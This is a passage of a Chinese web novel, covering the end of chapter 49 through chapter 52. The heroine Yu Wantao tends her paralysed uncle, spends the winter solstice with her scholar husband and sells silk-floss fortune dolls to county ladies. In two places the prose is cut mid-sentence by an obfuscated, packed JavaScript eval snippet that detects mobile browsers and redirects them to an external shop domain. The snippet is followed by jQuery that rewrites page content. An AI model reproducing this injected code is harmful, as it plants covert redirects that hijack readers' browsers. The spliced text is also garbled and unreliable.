余晚桃扬起嘴角，把碗里的粥喝碗，起身给煲着鸡汤的砂锅炉添了炭，就进堂屋里去赶工了。 想着外头下雪，冷风还吹着，她便端了火盆进来，干脆把狗窝挪到了堂屋里。 平安吃饱了就起来在堂屋里溜达着标记地盘，时不时叫几声，最后慢慢地窝到余晚桃脚边睡觉。 余晚桃忙着赶制要摆出去售卖的各种首饰，不知不觉间便到了晌午。 她嘱咐窈儿记得用了午饭再继续做工，自己提着食盒往医馆去。 余晚桃到时老大夫正在小隔间里头给陈老根针灸，李氏就坐在一边看着，手边团着件缝制了一半的棉衣。 “情况如何了？”，余晚桃问老大夫。 老大夫收了银针，直言不讳道:“外伤差不多稳定了，再住两日就能回家去修养，腰是没法子救了，只能这么躺着。” “真……真没法子了吗？”，陈老根哑着声音追问。 老大夫摇摇头，出了小隔间。 陈老根沉默了半响，突然拿拳头去捶自己抬不起来的大腿，重重发泄着心里的郁气。 余晚桃刚想去阻止，李氏一巴掌就甩到了陈老根的手臂上:“你在发甚么疯癫？” 陈老根捂住脸，痛苦的声音在苍老粗糙的指缝里响起:“成了个瘫子……跟死了没两样！倒不如死了好！” “你死了倒是好一了百了，你让我咋个办？”，李氏说着眼泪便流出来，哭得比他还要崩溃:“我娘是寡妇，我就命苦的也随了她去，你们这些没良心的都没想过我！” 陈老根痛苦不堪:“我就是怕后半辈子拖累了你。” “我又不嫌弃你这个老东西，前半辈子你伺候我，后半辈子我来伺候你就是了。”，李氏说着便看了余晚桃一眼，声音小了些:“从前是我不对，亏待了桃子，可能这就是老天爷的报应，我也认了。” 余晚桃没搭她这句话，把带来的食盒搁到桌上:“我煲了点鸡汤过来给舅舅补身体，铺子那头还要忙着备货，不能在这多留了。” “你忙就忙去。”，李氏擦了擦脸，别扭地道了一声谢。 余晚桃淡淡应了一声，垂眸道:“方才老大夫说两日后就可以回家将养了，这医馆里也人来人往的到底不适合养病，还是回家里去慢慢养着吧，我到时会去城门口托人回村里一趟，让庆叔来接，家里马车还在庆叔那呢。” “可金老爷那还没赔钱呢。”，李氏咬着牙，恨恨骂道:“那黑了心的肥脑猪老畜生，就该教大雪埋了去才是。” “……”，余晚桃道:“有表嫂爹爹出面，赔偿一定能拿到的。” 她这舅母，再伤心也没耽误她嘴损，那位金老爷身材十分富态，这骂得倒是一针见血。 50. 冬至归家 年关将至，各地官员都开始动了起来，为着年底政绩考核，纷纷开始整顿街道迎接上峰巡查，容县也在其中。 冬至前一日，雨雪纷纷，细雨绵绵又飘着雪花，道上撑伞的行人稀稀落落，每逢集市日都热闹无比的大街这会空荡荡的，两旁摆摊的贩子全被衙役们驱到了划分好的街巷里，主街一律不允许摆摊了。 这朝去逛街，买菜在一条街，买肉又在另一条街，若要买些干货生活品，就又得跑去专门划分出来卖生活品的街巷，一趟下来得走好几条街，麻烦得很。 余晚桃想着明日冬至，去买几斤上好的羊肉回来做麻辣锅子，早早起了提着竹篮子去赶集，结果外头雨雪夹着下，又得空出一手撑伞来，道上难走得紧，一路上指天扬鼻的骂声还不少。 她侧着耳朵听着几句，都是在明里暗里骂府衙不做人事的，好好的大集市给停了，害得这会去卖菜都得跑几条街。 肉摊都在一条小街上摆着过去，摊与摊之间挨挨挤挤的，幸而眼下天寒，空气里温度低，不会有腥味传出来。 羊肉是稀罕山货，寻常猪肉摊少有得卖，余晚桃走了好长一段街，快到街尾了才瞧见有一摊是专门卖羊肉的。 她走近了前去，摊子头还有个老婆婆在问价，一听是四十文一斤，扭头就走了。 对比猪肉的价格，高了一半。 寻常猪肉摊的价在十几文左右，顶好的五花肉，或者猪腿，能叫到二十文一斤。 余晚桃看了一下摊子上的半边羊肉，旁的还有一些内脏和羊血羊鞭之类的，“老板，你这卖的羊肉是山里野物，还是自家里养的？” 摊主从案板抬起头来，憨厚笑了笑:“都是自家里养的，每天拉去山上吃的新鲜草，肉质绝对好，买回去涮个锅子，或者炖个萝卜，温补得很。” “瞧着是不错，那你给我来羊腿这个部位吧，连带着腹部的肉割一块肥瘦相间的下来。” “小娘子懂吃啊，羊身上啊除了羊鞭，就这部位最好吃的。”，摊主与她说着笑，手起刀落，就把那条羊腿割了出来，上称看杆。 “八斤多些，就收你八斤的钱吧，再与你碗羊血当搭头。” 按八斤算，便是三百二十文。 余晚桃给了摊主钱，让他把肉拿油纸包两层再放进竹篮里去。 买了羊肉，便得到另外一条街去买香料和配菜，见有位娘子摆出来自家做的汆鲜肉丸子实在不错，没耐住买了一包，为着搭配汆丸子，又去买了半个冬瓜和两方豆腐。 买完了食材，还得再去批发一些干果瓜仁糖果之类的零口，家里刀纸不够，又去跑了一趟书院把东西备齐。 如此一通采买下来费了好些功夫，回到铺子里时已然过了大半日，幸好许多都是付了账便能送上门来的，否则真教她提着回来，胳膊都得废。 一回来，平安就迈着短腿跑到脚边打滚蹭蹭，黑亮的绒毛蓬松着，滚得一身脏兮兮的，想也知道是钻桌底去顽了。 余晚桃煮了一碗鲜肉丸子出来给它吃，又把堂屋里熄灭的火盆重新添上炭，坐着烤了会火，就回房里午睡去了。 外头下着雪，屋内门窗紧闭，厚重的床幔垂下来遮住日光，床内被褥柔软舒适，整个身子窝在里头睡得安稳惬意，面颊红润。 再醒来时，已是一个多时辰后了。 晚些时候，余天庆来还马车，帮着卸了车厢，将马牵到茅厕后面新辟出来的马棚里，又塞了几抓干草进去，才回院里解了蓑衣，到堂屋烤火。 余晚桃煮了两碗鲜肉丸子汤面出来，与他一道在堂屋里，边烤火边吃面，“庆叔，我舅舅在家里如何了？” “挺好的，家里头就是比医馆要待着舒服，今儿上午你表嫂回去了一趟，把金老爷给的赔偿与了你舅母，还买了很多过冬的物甚和吃食，也算是尽到作为儿媳妇的孝心了。” 余天庆语罢，又想到至今没露过面的陈文祖，皱起了眉头，摇摇头不再说这些，转而问起:“明日冬至回村里过？二郎该是放假了。” “嗯，等他明日放了假，我们再一道回村。”，余晚桃看向桌底，把咬鞋面玩的平安拎出来，放到一边去顽，才继续说道:“我们明日许是回得晚些，叔可要帮我们预留半扇猪肉下来。” “行，给你留着。”，余天庆应得爽快，吃了面浑身暖和了，就站起来道:“我还得去布庄扯些布回去给你婶，柔妹整天吵着要穿新衣服，正好给她做两身。” 余晚桃回屋捡了一小包糖果出去:“这是给柔妹的一点零嘴，小姑娘都好这口，与她一些准高兴得不行。” 只是些给小孩子的零嘴，余天庆也没推辞，接了过来揣怀里，笑着说:“她昨儿夜里还念叨着日日去隔壁找你，都不见人呢。” “明天就能见着了，好给她一个惊喜。” “这新养的小狗崽子？挺好，养大了能看家护院。”，余天庆披上蓑衣，拿脚去逗了逗绕着脚跟叫的狗崽子，这才出门去。 “前几日捡的，且养着先吧，这才丁点大呢。” 将人送了出去，余晚桃转身回去收拾灶台，买的新鲜羊肉就着油纸吊在了灶台上头，这个天气肉也不会坏了去，没准冻一夜都硬邦邦的了。 一日闲里过，冬日里天早早便黑了。 余晚桃晌午睡得多，这会夜深了也不觉着困，干脆爬起来点了油灯，把家底翻出来数。 买铺子花了一百两，装修和添置一应物甚、人工费这些约在五两银子，买马车八两，舅舅出事垫付给了医馆三两银子，其余零零散散的家用，花了一两多。 如今只剩二十两余些碎银。 这些银子里有她自己剩下的部分，也有崔玉棠卖了条好墨和抄书攒下来的十多两银子，家里头有八两多的碎银是没算进来的，那些须得留作日常开销花用，不能挪动。 可剩下的二十两，还要买年货和年节礼，开业后还有人工费，和进货的材料费等等。 余晚桃一边掰手指算，一边心里透凉，银子还是紧凑了些，眼下年底了，还是得寻个机会，看能不能再赚一笔钱。 如此盘算着，才渐渐睡去。 次日余晚桃是被炮仗声吵醒的。 她揉着惺忪睡眼，从温暖的被窝里坐起，伸着腰趴在褥面上，痛苦地嗷了一嗓子。 这些人真的是……连祭祖都要争个早晚的名次，天稍亮就拜上祖宗了，想盼着祖坟冒青烟也不是这么个殷勤劲。 炮仗声接二连三地响起，想睡个回笼觉的想法生生被掐灭了，余晚桃认命爬起来，把自己包得圆滚滚的，缩着脖出屋去。 堂屋里静谧无声，光线昏暗。 余晚桃去打开一侧门，外头的风雪呼啦卷进来，扑了满脸雪沫子，冻得浑身一激灵，丝毫睡意都没了。 这天是真冷呀！ 余晚桃拎着还在窝里睡觉的平安，出了堂屋就飞奔进灶房里，牙根哆嗦着一边打颤一边生火，直至昏黄的火光在灶膛里升起，噼啪燃着，周遭才有了些温度。 “平安，咱家书生啥时候才回来啊，我真不想去摇井水，太冰了。” “动物都知道冬眠，人为甚就如此卷呢？唉。” 院里轻浮雪花，余晚桃的抱怨声被冷意淹没，忽而啪嗒一声轻响，院门毫无预兆地被人从外推开，一道颀长的身影缓步入院，脚步声沉稳有力。 余晚桃耷着眼皮往那处一看，眸子瞬间亮起，站起来飞奔过去抱住归家的书生，激动得脸颊红扑扑的，“回来得这么早！” 崔玉棠手上提着东西，背后还有书箱，被个人猛地冲过来抱住，他本能地伸手去圈住对方，手上拎的东西全散在雪地里了。 “昨儿考完便连夜收拾好东西了，今早书院一开门我就出来了。”，崔玉棠脱了毛手套，将还暖呼着的手捂住她脸颊，在热气消散前带着人回了房。 “娘子可先松松手，容我褪了外披再抱？这兜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13946879|142744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帽大氅外头沾了雪，可别冻着你了。”，崔玉棠声音温柔，仿佛一撮羽毛在撩动着余晚桃被锻炼得嘎嘣硬的心脏，惊得她忙松了手后退几步，略有些不自在地看向别处。 崔玉棠笑了下，也不戳穿她，放下书箱，又把大氅解下来挂好，抖了抖身上的雪粒，说:“从前旬休回家怎不见你这般迎我？” 余晚桃眼珠子滴溜转，她摸了摸脸:“我从前也盼着你回来呀。” 总不能说是惦记着人回来帮干活罢。 “刚才院里散落了许多东西，我去拿进来吧。”，余晚桃很快转移话题，扭身出了屋，去将那堆东西拾回来，她看了看，见都是些吃食，还有两匹浅绿色的棉布。 “怎么想到买布匹了？” 崔玉棠从箱笼里翻出自己常穿的厚棉衣，把长袍换了下来，“崔师娘送的。” “这颜色倒挺雅致，适合做春衣。”，余晚桃把布匹收进衣柜里。 “那便留着做春衣。”，崔玉棠走过去，忽而想起问:“你方才是在灶房里烧热水？” 余晚桃闻言猛的反应过来，她还烧着干锅呢，忙道:“是想烧水来着，但还没来得及打水上来呢。” “可别把锅烧出窟窿来。”，崔玉棠快步出去，掀开锅盖一瞧，锅里干得直往外冒烟，转头便提了水桶去打水，急急忙往里倒了一桶井水。 余晚桃出来时，只听着哗啦一声烫响，走近去瞧，眨了眨眼睛，为自己的躲懒羞愧了小半刻，弯腰抱起平安，反向撸毛。 “汪汪~”，平安扒着爪挣扎抗议。 “哪来的狗？”，崔玉棠微微皱眉。 余晚桃拍了拍平安黑圆的脑袋:“雪天里捡的，我给它起名叫平安，看着毛色黑哟哟的，长大了定然很威风，是看家护院的好手。” 平安昂起脑袋，威风凛凛地“汪！”了一声。 崔玉棠并未多言，他蹲下来给灶里加了几根柴火，问:“可要回村里再吃早食？” “吃了再回去吧。” 家里活有人干了，余晚桃抓了一把干果和瓜子出来，在灶房里窝着，一边烤火一边闲磕嘴，看崔玉棠在灶台边忙活。 “舅舅的事你知道没？” “舅舅的事？”，崔玉棠侧眸扫了她一眼，转身去帮她泡了一壶子桂花蜜茶，搁在灶台边温着。 余晚桃抿了抿嘴，说:“舅舅前些日子去给人帮工，摔下来砸到腰，一辈子瘫了，在医馆里躺了好几天，前两日才接回家去静养。” 崔玉棠动作顿住，讶然道:“我昨日还在书院里碰见陈文祖，这事没与他说吗？” “说了，但比不得他岁考重要呀，这朝出事里里外外都是我在支应着，可指望不上他。”，余晚桃提着茶壶，倒了一杯热茶喝。 她晃悠着腿，继续说道:“晚些时候回村里，你与我一道去探望下舅舅吧。” “本应如此。”，崔玉棠不知想到甚么，轻皱着眉，面色闪过一丝不虞。 吃了早食，余晚桃去屋里收拾东西，崔玉棠将要带回村的东西分出来，套好车厢后再逐一往上搬。 “平安呢？”，余晚桃提着几大包的干货吃食出来。 崔玉棠把东西接过来，道:“我放车厢里了，你先上去吧，我锁门。” 余晚桃把钥匙递给他，自己踏上马车，掀开帘子进了车厢内。 给院里落了锁，崔玉棠驾着马车，在茫茫飘雪中驶向大桑村。 一路炮仗连天，卖对联剪纸的小贩缩在檐角下偷偷摆摊，衙役一来卷起油布就跑，一溜烟钻进巷子里就没影了。 崔玉棠收回视线，车厢内响起声来:“二郎，今年的年节礼我们需要备几份？你那些夫子教谕们，还有同窗好友，都算算。” 崔玉棠道:“同窗好友便罢了，送他们年节礼作甚，等开了年，与他们送两块糕便算情深义重了。” 一个两个的，逮着他课业抄录，还总调侃人，烦得紧。 51. 麻辣锅子 冬节朝雪，寒冬逢数九，当以祭扫坟墓为时序节气之重。 一年之中，唯清明、冬至二节有祭拜先祖的习俗。 大桑村自晨起，乡间山道便有人影叠叠，淬雨雪踏细泥，细条扁担挑着箩筐，孩童着新衣，嬉笑喧天，随在大人身后朝坟山而去。 余晚桃回村里晚了些，她与崔玉棠走到坟山上时，其他人已经陆续往回返了，雨雪天山道不好走，一路奔找，费了好半响功夫才寻到余旺夫妇的坟茔。 余旺夫妇是合葬的，只一个坟包，上头长满了野草，坟碑不知被甚么动物撞倒在一旁，爬了好些野山藤在上边。 “先清理杂草吧。”，余晚桃与崔玉棠说了一声，便蹲下来将被撞倒的坟碑竖起来，扯开那些野山藤，并生长在附近的野草。 崔玉棠拿了短柄的锄头出来，将箩筐挑到附近的石头上放好，转身返回岳父母的坟茔边，二人合力将坟头及附近平地清理出来，又在上面覆了一层新土，重新埋好坟碑。 祭品摆放出来，按老人话讲便是先茶后酒再食肉，继而一叩三拜请先人吃茶，余晚桃对此秉承着不理解但尊重的做法，按着规矩跪下拜了。 若真有灵魂，你们一家三口应该已经团聚，得此身重活一遭，应尽的孝道我也尽了，待百年后，这副身体定归还于爹娘，两厢作别不再相欠。 余晚桃双手奉茶，敬上三杯。 崔玉棠观她神丝多有哀愁，只当是触景伤情，待重新斟满三杯茶后，他掀袍跪下，结结实实磕了三响头，认真道:“岳父，岳母，儿婿崔家二郎，得娶阿桃为妻，以后定会珍惜爱重，此后一生绝不辜负。” 余晚桃闻言，心潮起了热意，不由得嘴角缓扬，萦绕在脸上的哀愁悄然消散。 待祭拜完了，下山时她才笑着说:“一辈子长着呢，好几十年。” “纵观史记，前人箴言历历，动辄便以百年计，不过几十年光景，如何能算是长久？我只盼与你做长长久久的夫妻，一辈子不够。” 崔玉棠胸襟阖动，呼吸着山间寒风，目光坚定，且从容自若，虽着粗棉布衣，行走在乡野之中，却不乏君子大家之气，言语之中自有沟壑。 简而言之，就是说话好听。 书生不害羞了，认真起来时，倒真教人难以应付。 余晚桃加快步子走在前头，尽量忽视着身后传来的灼灼目光。 回到家中时，恰逢余天庆将预留出来的半扇猪肉送过来，余晚桃问了斤重，回屋里拾了银子拿出去给他，并道:“庆叔，你明日若要去县里卖猪肉，可能帮我多买一些肠衣回来？” “行啊，那你明早就把猪肉处理了，拿了肠衣回来立马就能灌出来，放灶台上熏制。” 余天庆收了钱，应了话，这才转身回家去。 半扇猪肉，有一百多斤了，灶房里实在放不下，崔玉棠便直接将猪肉分割成条，串在灶台上的木架上。 “这么多肉，晚上可得防着些野狗畜生们。”，小细柳舀了盆热水，蹲在院里洗锅碗瓢盆，扬声与二人道。 余晚桃把箩筐里拿去祭拜的蒸鸡端出来，笑着说:“木架吊得高，那些野狗进来了也叼不到。” 小细柳:“有些畜生会爬墙偷食的。” “睡前我在灶房外围撒一圈驱赶野兽的药粉就是。”，崔玉棠看看时辰，开始着手片用来涮锅子吃的羊肉。 羊肉片出来后，羊骨头就扔进锅里熬汤。 院里冬至氛围浓厚，都各自忙碌着。 余晚桃捞起袖子:“我做些甚么？” “你等会蒸了饭，便与平安去顽罢。”，崔玉棠温声道:“家里没酒，也可去村里卖粗粮酒的人家打二两回来，冬夜小酌几杯，暖暖身子。” “那行吧，二郎掌勺，自是一切安排得妥当。”，余晚桃眉眼带笑，给他捶捶肩作鼓励，才转身去柜子里拿米袋。 蒸了米饭，她蹲下来给几个灶膛里各添加足量的柴火，才回屋里把平安抱出去，去隔壁寻柔妹顽。 眼下这时辰，也就只有小孩有空闲与她逗狗了。 各家各户炊烟袅袅。 余晚桃抱着柔妹，柔妹抱着平安，坐在屋檐下看余天庆杀猪，这猪比今日在村里卖的那头还要肥，估计都有三百斤重，宰开来厚厚的一层肥油覆在上头，可见丁婶的养猪技术有多了得。 “哪个门户里当家的媳妇这个点不是在忙活灶头的，也就你闲得在这看杀猪。”，丁婶笑呵呵地走过来，抬腿让她们往旁边坐过去。 柔妹支着串糖葫芦在手里，噘嘴嘟哝:“旁边有地方进堂屋里的，非得挤我跟桃子姐姐的地方，娘真讨厌。” “仔细挨你娘打。”，余晚桃笑着趣她。 柔妹扭头看了她娘一眼，嘿嘿笑道:“她没听着。” “调皮鬼。” “略！” 瞧着丁婶在屋里开始支桌出来摆菜了，余晚桃这才拍拍身后的雪花，提溜着平安晃回自己家去。 甫一进来，就闻着刺激味蕾的麻辣香气。 她跑到灶房去，瞧着锅里沸腾的麻辣底汤，眼睛睁圆，惊讶道:“二郎，牛奶麻辣汤底的锅子了？” “牛奶？”，崔玉棠挑眉:“这是羊骨头炖出来的浓汤，再放你买回来的那些呛料子煮出来的。” 边上还有些冬瓜片、白灼鸡、鲜肉丸子、腊鱼段、笋干茄子干等食材用圆口粗碗装着，丰盛至极。 “可以把食材端过来了，屋里铜锅子烧热了。”，小细柳在屋里喊。 余晚桃哎了一声，忙不迭去端碗。 吃锅子的好处便是汤一直热着，想吃甚就现煮现捞，在冬夜里吃口滚烫麻辣的食，比金盏玉碟的大鱼大肉都舒坦。 而此刻，同在村里的另一门户，家中却气氛凝滞，堂屋内烛火明亮，桌上鲜炖的羊肉飘着热乎的香气却没人伸筷。 陈文祖沉着脸道:“我平时都住书院，县里宅子在仪儿那，受岳父岳母打理着，若是把你们接过去，岂不是要岳父岳母伺候着？” “那你就不管你爹了是不是！”，李氏往日里何其疼爱这个陈文祖，可自从出了事，种种行为已然教她失望透顶，这般冷血，也不知像了谁。 “我何时说过不管了？”，陈文祖不耐道:“金老爷那不是赔了五十两银子吗？有了这笔银子在哪住着不行，如何就非要去县里住。” “你县里宅子不是有小厮吗，去县里也能多几个人照顾你爹，在村里就我一个人，我搬他去拉屎拉尿都搬不动。” “娘。”陈文祖软了态度，为难道:“我明年三月份就要参加县试了，如今正是关键时刻，你难道不想我考一个秀才回来吗？爹去了县里，我肯定不能专心应试啊。” “说到底，你就是嫌你爹丢人吧。”，李氏只觉心寒，那么疼爱的独子，读了书，成了亲，却与他们老两口离了心。 她心里难受得紧，却只能强打起精神，把桌上的饭菜打了一碗出来，起身与他道:“你既不愿接你爹去孝养，那就给奉养费吧，从前你读书，一旬一两银，如今你成亲了，断没有再让爹娘养的意思，你以后得给我一旬一两银 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13952379|142744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的奉养费。” “娘！你如何狠得下心这样逼我。”，陈文祖不敢相信，从前万般偏爱于他的亲娘，如今会变得这样咄咄逼人。 他失望道:“既然娘不愿意再供我读书，那往后有甚么事，也不用来找我了。” “找你有什么用？你爹差点摔死了去找你，你教看都没去看一眼！”，李氏陡然拔高声音，激动道:“养你养成这样是我的错，我也认了，从今往后只告诉你，按时把每月的奉养费给我，否则我上公堂去告你不孝！” 陈文祖彻底黑了脸，哐当一声掀了桌，怒气冲冲地进了屋砸上门，翌日天一亮，在堂屋桌上留了一两银子，就回县里了。 李氏握着那两碎银，坐在堂屋里，怔怔地望着外面雪茫茫的天，头上的鬓发已然白了大半。 约过晌午一刻，余晚桃同崔玉棠过来探望，入了屋见内清冷得紧，喊了一声，才从灶房里钻出人影来，径自与她道:“你舅在房里，自个进去吧，我还得看着灶呢。” 余晚桃应了一声，从李氏身上收回视线。 推开门又掀了竹帘子，房里响起动静来，陈老根发散的眼神才缓慢焦距，对二人露出笑脸:“舅好着呢，不用总来看，外边天寒地冻的，仔细受了风寒。” 余晚桃把屋里的炭火盆端近了些，说:“这朝便是来与舅舅告别，我们得去县里边忙铺子的事，最迟也得到年二九才回村。” “去县里好……县里好。”，陈老根扭过苍老的面容，话里的酸涩听得人心里难受，他喃喃道:“昨夜你表哥同你舅母吵了一架，今早就回县里去了，你舅母那头白发一夜就长出来了，我这样拖累着家里人，我——” “吃午饭了。”，李氏在人还未进屋，吆喝声就传进来了，她端着两个碗进来，里头盛的还是余晚桃昨个冬至送过来的羊肉。 “你吃没？”，陈老根知这婆子不爱听自己叨那些丧气话，见她进来便不说了，自己撑着床板靠到床头架上。 余晚桃怕他硌着腰，忙扯了两个枕头过去垫着，“舅舅，你腰上还有劲坐起来不？若能坐起来，我改日托木工帮忙做个轮椅子出来，自个就能推着在村里溜达。” “他能坐起来一阵，就是久了会吃力。”，李氏支了小桌过去，立在床上让他自己吃，期间说道:“要真有那轮椅子，那你就帮他做个出来，多少银子回头找我给。” “欸，估计得费些日子做，到时候做好了我再托木工送过来。”，余晚桃来时还带着些干活吃食，她自个将东西放好，与陈老根说了几句话，便转身出去了。 李氏追出来，将三两银子并她手上，说:“这是医馆里你押在那的三两银子，你拿回去吧。” “留着吧，权当是孝敬舅舅的。”，余晚桃许是见她鬓边白发一夜起，想着还是多言了几句:“舅母手上得了金老爷的赔偿，那些银子自个留着花用才是，舅舅这样，往后家里营生艰难，恐都得指着那笔银过日子。” “我知道，银子我收着呢，没打算给你表哥拿去用。” 余晚桃心里微讶，到底面上没表现出来，与人告了辞，出了陈家院里，她才吁叹道:“舅母从前那般偏心表哥，护得跟什么似的，这朝却是看开了。” 崔玉棠侧目问她:“那你呢？舅母从前的那些薄待苛责，如今原谅她了？” 余晚桃摇头，声音轻柔且坚定:“没什么原谅不原谅的，只是不在意了罢，我的目光，不会放只在大桑村这个地方。” 她有更长远的路要走，无关紧要的人，不必在意。 ， 52. 绒花福娃 岁末。 陈府来帖子，邀余晚桃过府，参加品桃宴。 堂屋里暖意融融，景明雪止。 八仙桌上放着两份用桃色绸布包起的礼品，旁侧还有一张拓印着桃腊的请帖，随着房门打开，身形修长的书生走到八仙桌前，玉指轻叩桌面，拿起了那张请帖。 “是陈夫人递的帖子？” 余晚桃收拾好自己，走出房去，从他手上抽过那张帖子放进备好的礼品里，说:“正愁不得渠道结识县里的贵妇人们呢，这个帖子来得正合适。” 崔玉棠淡淡挑眉:“正好我要去找游兄探讨一篇策论题，我与你一道去吧。” “嗯？”，余晚桃盯着他:“这般巧？” “不然？” “真黏人的书生。”，余晚桃拎着礼品，一边出去，一边摇头嘀咕。 半响不见有人跟上来，她回头对人抬抬下巴:“不是要去找游兄探讨策论题吗？怎还不走？” 崔玉棠沉默半响，拿背对着她:“我不去了。” “怎么了？” “你嫌我黏人。”，崔玉棠声音低落。 这书生，给自己委屈上了。 “那你好好在家里读书吧，未来的状元夫君。”，余晚桃悠悠然地扭头走了。 难得今日放晴，连着下了几个大夜的雪终于停了，若不赶着这时辰出门去，晚些又挨淋雪，她可还指望着今天能做成几笔生意呢。 一路到了陈府，门口陆陆续续来了一些夫人小姐，皆是着装富贵，妆容精致，盈盈与人笑谈着。 余晚桃低头看看自己，并无不妥之处，便递了帖子，提着礼进了府。 “晚桃姐姐，有些日子没见了，近来可好？”， 陈小绣原在园里与其他姑娘们言趣，抬眼瞧见余晚桃到了，便高兴地去将人迎进来，一路攀着她的胳膊。 在旁人看来，二人感情极好。 余晚桃扬起笑容:“自是一切都好，你呢？云姐儿可有写信给你？” “谁稀罕她的信。”，陈小绣傲娇道:“纵是她十天半个月的不来一封信，我也懒得搭理。” “闹别扭了？” “那厮成亲了总跟我炫耀她夫君有多好，长得有多俊，还想给我牵线，寻一个门户嫁过去，与她作伴呢，我才不。” 掀开隔温的屏帘进了内厅，似一下踏入了春夏时节，周遭暖烘烘的，余晚桃解了大氅下来，将带来的礼品搁到桌上去。 她不以为意道:“现在是不想搭理人，等过几日云姐儿真不来信了，该你哭的。” 陈小绣哼了一声，注意力被桌上桃色的绸布吸引，“这是在哪家布庄买的绸布？颜色真是鲜亮好瞧。” 她上手摸了摸，丝丝滑滑的，很像是用来做贴身里衣的料子，不过寻常这等料子都是蚕丝原色的，少有此等色泽。 “我自个染的色，你若喜欢改日送两段过来给你。” “那感情好，可多谢晚桃姐姐了。” “怎么在这聊上了？”，陈小绣领着几个妇人进来，面颊粉若桃花，一瞧便是刚从温泉池里泡出来的，顽得舒服得很。 “我在瞧晚桃姐姐送来的礼呢。”，陈小绣边回她娘，边拆开绸布结。 “没个礼数的你这孩子，怎当着人面就拆礼了。”，陈夫人皱着眉走过去，一掌拍她手背上，制住她动作。 “陈夫人见好。”，余晚桃福身见了礼，笑着道:“左右都是些年节礼，绣姐儿喜欢拆着看也无妨，莫要同我见外才是。” “就是，我与晚桃姐姐顽得好，才不计较那些虚礼呢。”，说话间，绸布解开，里面的礼品露出真容。 竟是一对活灵活现的福娃。 这福娃是过年时家家户户都会贴在大门上的剪纸，寓意家族人丁兴旺，五福齐全，平常市面上会有一些泥塑的福娃售卖，不过都不如眼前这两樽精致，色彩明亮。 福娃脸颊胖嘟嘟的，腮色粉红，活像是个送喜童子。 陈小绣眼眸倏地睁大，不敢置信道:“晚桃姐姐你竟然连福娃都会做！” “做起来倒不难，你喜欢才紧要。” “我可喜欢了！”，陈小绣原地蹦起来，激动得面颊红晕，好容易镇定下来，小心翼翼地抱起其中一樽福娃，摸着上头逼真的丝滑手感，叹道:“从前只知道蚕丝可以做成绸缎，却不知还有如此用处，不仅可以做簪，还能做福娃。” “确实是精致，比剪纸的和泥塑的要生动些。”，陈夫人对着两樽福娃也喜爱得紧，托着起来同手帕交们一同观赏。 “瞧着我都心动了。” “我家玉姐儿想来也会喜欢。” “不知这位小娘子可还有其他货？”，一位妇人笑盈盈地询问着。 余晚桃略为难道:“倒是做了一批出来，不过都是留着到年后铺子开张用的。” 她观几位夫人脸色一下失落起来，便转了语气，与人柔声道，“不过既是夫人们想要，再忙些也得赶制出来不是，我这些个手艺呀能得夫人们喜欢，实在是万分荣幸。” 陈夫人笑呵呵道:“余小娘子素来会讲话，你这福娃工艺做得好，今儿这品桃宴上来的都是县里各家女眷，恐见了一回便像绣姐儿这般爱不释手了。” “陈夫人可打趣我了。”，余晚桃垂眸，有些害羞。 这福娃做得确实精巧，陈夫人得了稀罕物，当天便在宴会上拿出来供人观赏，得了好一通赞，高兴得整日里笑容满面，心里对余晚桃更加喜欢。 余晚桃在宴会上与人相交攀谈，品酥点茶，倒是得趣，也真真切切体会了一遭县里贵妇人们的奢靡做派。 头宴是朵朵桃花形状的酥点，还有桃花乳酪，玉盏桃花酿等精致小巧的食单，吃好了便到园子里雪天投壶，顽累了再去女眷温泉池里泡个花瓣浴，边上还有丫鬟在伺候敷面泥、按肩膀。 弄得从陈府回来时，通身都是花瓣的浓香。 余晚桃还得了一个回礼，她拆了瞧，见是一盒烟黛色的眉粉，而底下素色纸盒里装的则是油纸隔开的两层桃花酥。 她将东西搁置一旁，取了纸笔来，把预定了福娃的那些夫人府邸名号都记下来，准备过两日挨户去送。 这大半个月，经过她们的赶工，库房里早已备齐了货，绒花福娃更是赶在年前做了一大批出来，她原本还苦恼着要怎么打开绒花福娃的市场，陈府那边就递了请帖过来，实在是一大好的机会。 那些泥塑的约摸是卖个百来文一樽，她这个用了蚕丝，里面用铜丝塑的形，再钩织一层棉线，最外才用蚕丝定型，用料不算精贵，主要在蚕丝和工艺上，一樽定价个五百文不成问题。 寻常人家买福娃剪纸或者泥塑摆件，都是成对的买，她这也不例外，所以按照定价，一个单便是一两银子，刨去些成本，能有八百文左右。 正冥思苦想着绒花福娃的盈利问题，房门就被叩响了，崔玉棠的声音传进来，“县里送轮椅子的木匠过来了，快出来看一下货。” “哎，来啦。”，余晚桃弯腰把棉鞋穿上，打开房门走到堂屋外去。 木匠扛着一个大家伙进来，被崔玉棠引进了堂屋里喝热茶。 余晚桃去瞧了轮椅子，自己坐上去试了一下，滑动外层圆轮时，轮椅慢慢动了起来，手臂用了力气，还能转动方向。 她也只把轮椅大概的模样画了出来，没想到这木匠师傅手艺了得，竟然真把大体的样式做出来了。 木匠喝了热茶，颇有些自豪道:“这件货可费了我好些功夫，那个齿轮的构造太精妙了，我一直没弄明白，后来想想，似乎是跟那个筒车转动的轴心部位有点相似，所以我就在那基础上改良了一下，没想到真成了。” “师傅好手艺。”，有了这轮椅，陈老根也不用整日瘫在床上压抑度日，能自己出去溜达溜达，心理上会轻松许多。 